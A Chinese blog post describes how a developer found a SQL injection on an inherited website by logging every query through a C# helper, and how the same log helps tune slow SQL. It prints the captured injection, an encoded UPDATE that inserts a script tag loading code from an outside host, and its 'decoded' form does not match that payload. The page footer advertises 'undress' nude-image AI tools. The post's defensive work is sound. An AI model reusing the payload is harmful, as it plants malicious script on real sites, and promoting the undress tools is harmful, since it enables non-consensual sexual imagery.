记一次成功的sql注入入侵检测附带sql性能优化
很多同学和园友都遇到过sql注入的,其中大部分都是代码的不严谨造成的,都是犯过很多错误才学会认真起来
但是如果是让你接手一个二等残废的网站,并让你在上面改版,而且不能推翻式改版,只能逐步替换旧的程序,那么你会非常痛苦,例如我遇到的问题:问题1.
老板对你说,以前刚做完网站好好了,没有出现木马,怎么你来了,就会出现木马,先别说了,赶紧解决问题,我彻底无语,但是如果争吵,其实证明你和老板一样无知,拿出证据和事实分析来让公司其他稍微懂技术的一起来证明,公司网站被挂马不是你来了的错。
如是我通过网站目录仔细排查将通过fck上传的网马删除并修补fck的上传漏洞并记下了这篇 Fckeditor使用笔记 ,其实很多人都遇到过,也解决过,都是小问题,但是让你老板明白比解决漏洞问题更蛋疼,我那解释的叫一个汗啊,恨不得把公司所有稍微懂点技术的都叫上让他们看什么是大马什么是小马,然后演示怎么上传木马,奶奶的,教程普及啊。
问题2.
网站又出现问题,上次的问题解决了不过两个月,网站又被入侵挂马,如是老板这次再说因为我来了才出问题,立马走人,这就是为什么不能更不懂技术的人硬碰硬,更不能和你的老板来说,说了你又不懂。
但是要命的是网站是以前的技术开发的二等残废,在别个的cms上修改的,我必须保证网站在的开发的同时旧的模块还可以使用,通过逐步更新的方法将网站底层翻新,但是那么多页面,你很难一个一个去检测那个页面有漏洞,如是写出下面的检测代码,没想到这么简单的就搞定了,并且可以通过此方法优化你的sql。
第一步建立一个sql日志表
代码如下:
CREATE TABLE [dbo].[my_sqllog](
[id] [bigint] IDENTITY(1,1) NOT NULL,
[hit] [bigint] NULL,
[sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[begintime] [datetime] NULL,
[endtime] [datetime] NULL,
[fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
[lastelapsedtime] [bigint] NULL,
CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]
记录sql语句、此sql语句被执行次数,参数及值,记录开始时间,结束时间,来自哪个页面,ip和此条语句执行时间(暂时没用)
第二步在sqlhelper里写记录代码
两个方法本来可以写成private的,但是此二等残废的网站其他地方用的别的sqlhelper类,就直接调用此处通过合理优化的sqlhelper类的方法了。
代码1:插入日志
代码如下:
public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
{
#region 参数处理
string colums = "";
string dbtypes = "";
string values = "";
string paramdetails = "";
if (cmdParams != null && cmdParams.Length > 0)
{
foreach (DbParameter param in cmdParams)
{
if (param == null)
{
continue;
}
colums += param.ParameterName + " ";
dbtypes += param.DbType + " ";
values += param.Value + ";";
}
paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
}
string fromurl = "";
if (System.Web.HttpContext.Current!=null)
{
fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
}
// commandText = commandText.Replace("'","‘").Replace(";",";");
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@hit",1),
new SqlParameter("@sqltext",commandText),
new SqlParameter("@paramdetails",paramdetails),
new SqlParameter("@begintime",DateTime.Now),
new SqlParameter("@endtime",DateTime.Now),
new SqlParameter("@fromurl",fromurl),
new SqlParameter("@ip",Web.PressRequest.GetIP()),
new SqlParameter("@lastelapsedtime",0),
};
#endregion
using (DbConnection connection = Factory.CreateConnection())
{
connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;
string sql = "";
// 执行DbCommand命令,并返回结果.
int id =
Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
"select top 1 id from my_sqllog where sqltext=@sqltext",
new SqlParameter("@sqltext", commandText)));
if (id > 0)
{
sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
}
else
{
sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
}
// 创建DbCommand命令,并进行预处理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
// 执行DbCommand命令,并返回结果.
int retval = cmd.ExecuteNonQuery();
// 清除参数,以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}
代码2:判断此条sql是否存在
代码如下:
private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
// 创建并打开数据库连接对象,操作完成释放对象.
using (DbConnection connection = Factory.CreateConnection())
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 创建DbCommand命令,并进行预处理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
// 执行DbCommand命令,并返回结果.
object retval = cmd.ExecuteScalar();
// 清除参数,以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}
第三部在你的每个执行sql语句的方法里加入以下代码,不管是ExecuteScalar、ExecuteReader还是ExecuteNonQuery等等都加上
代码如下:
//执行sql之前进行日志记录操纵
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
代码示例:
代码如下:
public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 创建DbCommand命令,并进行预处理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
//执行sql之前进行日志记录操纵
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
// 执行DbCommand命令,并返回结果.
object retval = cmd.ExecuteScalar();
// 清除参数,以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
然后你会发现入侵的入口被记录下来了,后面方框里的就是构造注入的sql
构造sql如下:
39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
转码后变成这样了:
update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'')
这个就是木马地址,没事你就别点了,好奇害死猫。
小结:
既然知道入口就知道怎么补救了吧,把string类型该过滤的都过滤掉,int类型的就得是int类型,别让数据库替你隐式转。通过此sql日志记录,你应该发现一点那个hit还是有点价值的。
通过select top 100 * from my_sqllog order by hit desc
你会发现你写的那么多sql原来真垃圾,在条件允许的情况下干嘛不把它放到缓存里。所以后来我写的sql基本不在这top 100里。
抛砖引玉,望高手批评,以上入侵方法希望刚学习做程序员的同学不要用来欺负小网站,伤不起。
作者:jqbird

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



How to perform network traffic monitoring and intrusion detection through Python Network security is an important task in today's information age. For businesses and individuals, it is crucial to detect and respond to network intrusions in a timely manner. Network traffic monitoring and intrusion detection are common and effective security defense methods. This article will introduce how to use the Python programming language to implement network traffic monitoring and intrusion detection. 1. Basic concepts of network traffic monitoring Network traffic monitoring refers to the process of real-time monitoring and recording of data flows in the network. through monitoring network

Nginx is a fast, high-performance, scalable web server, and its security is an issue that cannot be ignored in web application development. Especially SQL injection attacks, which can cause huge damage to web applications. In this article, we will discuss how to use Nginx to prevent SQL injection attacks to protect the security of web applications. What is a SQL injection attack? SQL injection attack is an attack method that exploits vulnerabilities in web applications. Attackers can inject malicious code into web applications

0x01 Preface Overview The editor discovered another Double data overflow in MySQL. When we get the functions in MySQL, the editor is more interested in the mathematical functions. They should also contain some data types to save values. So the editor ran to test to see which functions would cause overflow errors. Then the editor discovered that when a value greater than 709 is passed, the function exp() will cause an overflow error. mysql>selectexp(709);+-----------------------+|exp(709)|+---------- ------------+|8.218407461554972

Laravel Development Notes: Methods and Techniques to Prevent SQL Injection With the development of the Internet and the continuous advancement of computer technology, the development of web applications has become more and more common. During the development process, security has always been an important issue that developers cannot ignore. Among them, preventing SQL injection attacks is one of the security issues that requires special attention during the development process. This article will introduce several methods and techniques commonly used in Laravel development to help developers effectively prevent SQL injection. Using parameter binding Parameter binding is Lar

PHP Programming Tips: How to Prevent SQL Injection Attacks Security is crucial when performing database operations. SQL injection attacks are a common network attack that exploit an application's improper handling of user input, resulting in malicious SQL code being inserted and executed. To protect our application from SQL injection attacks, we need to take some precautions. Use parameterized queries Parameterized queries are the most basic and most effective way to prevent SQL injection attacks. It works by comparing user-entered values with a SQL query

Overview of detection and repair of PHP SQL injection vulnerabilities: SQL injection refers to an attack method in which attackers use web applications to maliciously inject SQL code into the input. PHP, as a scripting language widely used in web development, is widely used to develop dynamic websites and applications. However, due to the flexibility and ease of use of PHP, developers often ignore security, resulting in the existence of SQL injection vulnerabilities. This article will introduce how to detect and fix SQL injection vulnerabilities in PHP and provide relevant code examples. check

In the field of network security, SQL injection attacks are a common attack method. It exploits malicious code submitted by malicious users to alter the behavior of an application to perform unsafe operations. Common SQL injection attacks include query operations, insert operations, and delete operations. Among them, query operations are the most commonly attacked, and a common method to prevent SQL injection attacks is to use PHP. PHP is a commonly used server-side scripting language that is widely used in web applications. PHP can be related to MySQL etc.

PHP form filtering: SQL injection prevention and filtering Introduction: With the rapid development of the Internet, the development of Web applications has become more and more common. In web development, forms are one of the most common ways of user interaction. However, there are security risks in the processing of form submission data. Among them, one of the most common risks is SQL injection attacks. A SQL injection attack is an attack method that uses a web application to improperly process user input data, allowing the attacker to perform unauthorized database queries. The attacker passes the
